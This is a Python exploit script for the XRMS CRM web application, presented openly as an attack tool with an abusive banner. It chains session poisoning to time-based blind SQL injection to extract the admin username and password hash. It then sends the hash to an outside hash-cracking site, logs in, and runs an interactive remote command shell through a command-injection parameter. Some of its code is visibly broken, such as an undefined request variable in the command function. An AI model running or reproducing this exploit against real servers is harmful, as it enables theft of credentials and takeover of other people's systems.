XRms - Blind SQL Injection / Command Execution

#######################
# XRMS Blind SQLi via $_SESSION poisoning, then command exec
#########################

import urllib
import urllib2
import time
import sys

usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0']
userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]
def banner():
	print """	    ____
	   / __/_  ______ _  _  ___________ ___  _____
	  / /_/ / / / __ `/ | |/_/ ___/ __ `__ \/ ___/
	 / __/ /_/ / /_/ / _>  </ /  / / / / / (__  )
	/_/  \__,_/\__, (_)_/|_/_/  /_/ /_/ /_/____/
	             /_/
	[+] fuq th3 w0rld, fuq ur m0m!\n"""

def usage():
	print "	[+] Info: Remote Command Execution via $_SESSION poisoning to SQLi to RCE"
	print "	[+] Example:"
	print "	[+] python " + sys.argv[0] + " domain.to/xrms"
	quit()

def sendhashaway(hash):
	print " [+] Sending hash to icrackhash.com to be cracked."
	data = None
	headers = { 'Referer' : 'http://icrackhash.com/?mdhash=' + hash + '&type=MD5','User-Agent' : 'Mozilla','X-Requested-With' : 'XMLHttpRequest'}
	url = 'http://www.icrackhash.com/?mdhash=' + hash + '&type=MD5'
	gh = urllib2.Request(url,data,headers)
	gh2 = urllib2.urlopen(gh)
	output = gh2.read()
	plaintext = getpositions(output,'<td><small><strong>','</strong>')
	print " [-] Plaintext of hash: " +plaintext + "\n"
	return plaintext

def username(length):
	length = length + 1
	duser = []
	#1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
	found = 0
	i = 1
	payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(username,"
	payload2 = ",1)=CHAR("
	payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"
        for i in range(1,length):
		found = 0
		while(found != 1):
			for f in range(0,len(userascii)):
				class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
					def http_error_302(self, req, fp, code, msg, headers):
						infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
						infourl.status = code
						infourl.code = code
						return infourl
					http_error_300 = http_error_302
				class HeadRequest(urllib2.Request):
					def get_method(self):
						return "POST"
				payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3
				data = urllib.urlencode([('user_id',payload)])
				url = 'http://'+domain+'/plugins/webform/new-form.php'
				opener = urllib2.build_opener(LeHTTPRedirectHandler)
				req = HeadRequest(url,data)
				prepare = opener.open(req)
				cookie1 = prepare.info()
				cookie2pos1 = str(cookie1).find('PHPSESSID')
				cookie2pos2 = str(cookie1).find("\n",cookie2pos1)
				line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
				line = 'XRMS' + line[9:]
				url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
				headers = { 'Cookie' : line }
				data = None
				start = time.time()
				get = urllib2.Request(url,data,headers)
				get.get_method = lambda: 'HEAD'
				try:
					execute = urllib2.urlopen(get)
				except:
					pass
				elapsed = (time.time() - start)
				if(elapsed > 1):
					print "	Character found. Character is: " + usercharac[f]
					duser.append(usercharac[f])
					found = 1
	return duser

def getusernamelength():
	found = 0
	i = 1
	payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(LENGTH(username) = '"
	payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM users-- -"
	while (found != 1):
		class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
			def http_error_302(self, req, fp, code, msg, headers):
				infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
				infourl.status = code
				infourl.code = code
				return infourl
			http_error_300 = http_error_302
		class HeadRequest(urllib2.Request):
			def get_method(self):
				return "POST"
		payload = payload1 + str(i) + payload2
		data = urllib.urlencode([('user_id',payload)])
		url = 'http://'+domain+'/plugins/webform/new-form.php'
		opener = urllib2.build_opener(LeHTTPRedirectHandler)
		req = HeadRequest(url,data)
		prepare = opener.open(req)
		cookie1 = prepare.info()
		cookie2pos1 = str(cookie1).find('PHPSESSID')
		cookie2pos2 = str(cookie1).find("\n",cookie2pos1)
		line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
		line = 'XRMS' + line[9:]
		url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
		headers = { 'Cookie' : line }
		data = None
		start = time.time()
		get = urllib2.Request(url,data,headers)
		get.get_method = lambda: 'HEAD'
		try:
			execute = urllib2.urlopen(get)
		except:
			pass
		elapsed = (time.time() - start)
		if(elapsed > 1):
			print "	Length found at position: " + str(i)
			found = 1
			length = i
			return length
		i = i + 1

def password(length):
	length = length + 1
	dpassword = []
	#1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
	found = 0
	i = 1
	payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(password,"
	payload2 = ",1)=CHAR("
	payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"
        for i in range(1,length):
		found = 0
		while(found != 1):
			for f in range(0,len(userascii)):
				class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
					def http_error_302(self, req, fp, code, msg, headers):
						infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
						infourl.status = code
						infourl.code = code
						return infourl
					http_error_300 = http_error_302
				class HeadRequest(urllib2.Request):
					def get_method(self):
						return "POST"
				payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3
				data = urllib.urlencode([('user_id',payload)])
				url = 'http://'+domain+'/plugins/webform/new-form.php'
				opener = urllib2.build_opener(LeHTTPRedirectHandler)
				req = HeadRequest(url,data)
				prepare = opener.open(req)
				cookie1 = prepare.info()
				cookie2pos1 = str(cookie1).find('PHPSESSID')
				cookie2pos2 = str(cookie1).find("\n",cookie2pos1)
				line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
				line = 'XRMS' + line[9:]
				url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
				headers = { 'Cookie' : line }
				data = None
				start = time.time()
				get = urllib2.Request(url,data,headers)
				get.get_method = lambda: 'HEAD'
				try:
					execute = urllib2.urlopen(get)
				except:
					pass
				elapsed = (time.time() - start)
				if(elapsed > 1):
					print "	Character found. Character is: " + usercharac[f]
					dpassword.append(usercharac[f])
					found = 1
	return dpassword

def login(domain,user,password):
	cookie = "XRMS=iseeurgettinown4d"
	url = 'http://'+domain+'/login-2.php'
	headers = { 'Cookie' : cookie }
	data = urllib.urlencode([('username',user),('password',password)])
	a1 = urllib2.Request(url,data,headers)
	a2 = urllib2.urlopen(a1)
	output = a2.read()
	if output.find('PEAR.php') > 0:
		print "	[+] Logged In"

def commandexec(domain,command):
	cookie = "XRMS=iseeurgettinown4d"
	cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo '14x0';",None)])
	headers = { 'Cookie' : cookie }
	data = None
	url = 'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd
	b1 = urllib2.Request(url,data,headers)
	b2 = urllib2.urlopen(a1)
	output = b2.read()
	first = output.find('0x41') + 4
	last = output.find('14x0') - 4
	return output[first:last]

banner()
if len(sys.argv) < 2:
	usage()
domain = sys.argv[1]
print "	[+] Grabbing username length"
length = getusernamelength()
print "	[+] Grabbing username characters"
tmpuser = username(length)
adminusr = "".join(tmpuser)
print "	[+] Grabbing password hash"
tmppass =  password(32)
admpass = "".join(tmppass)
print " [+] Admin username: "+ adminusr
print "	[+] Admin password hash: " + admpass
plain = sendhashaway(admpass)
login(domain,adminusr,plain)
while(quit != 1):
	cmd = raw_input('	[+] Run a command: ')
	if cmd == 'quit':
		print "	[-] Hope you had fun :)"
		quit = 1
	if cmd != 'quit':
		print "	[+] "+ commandexec(domain,cmd)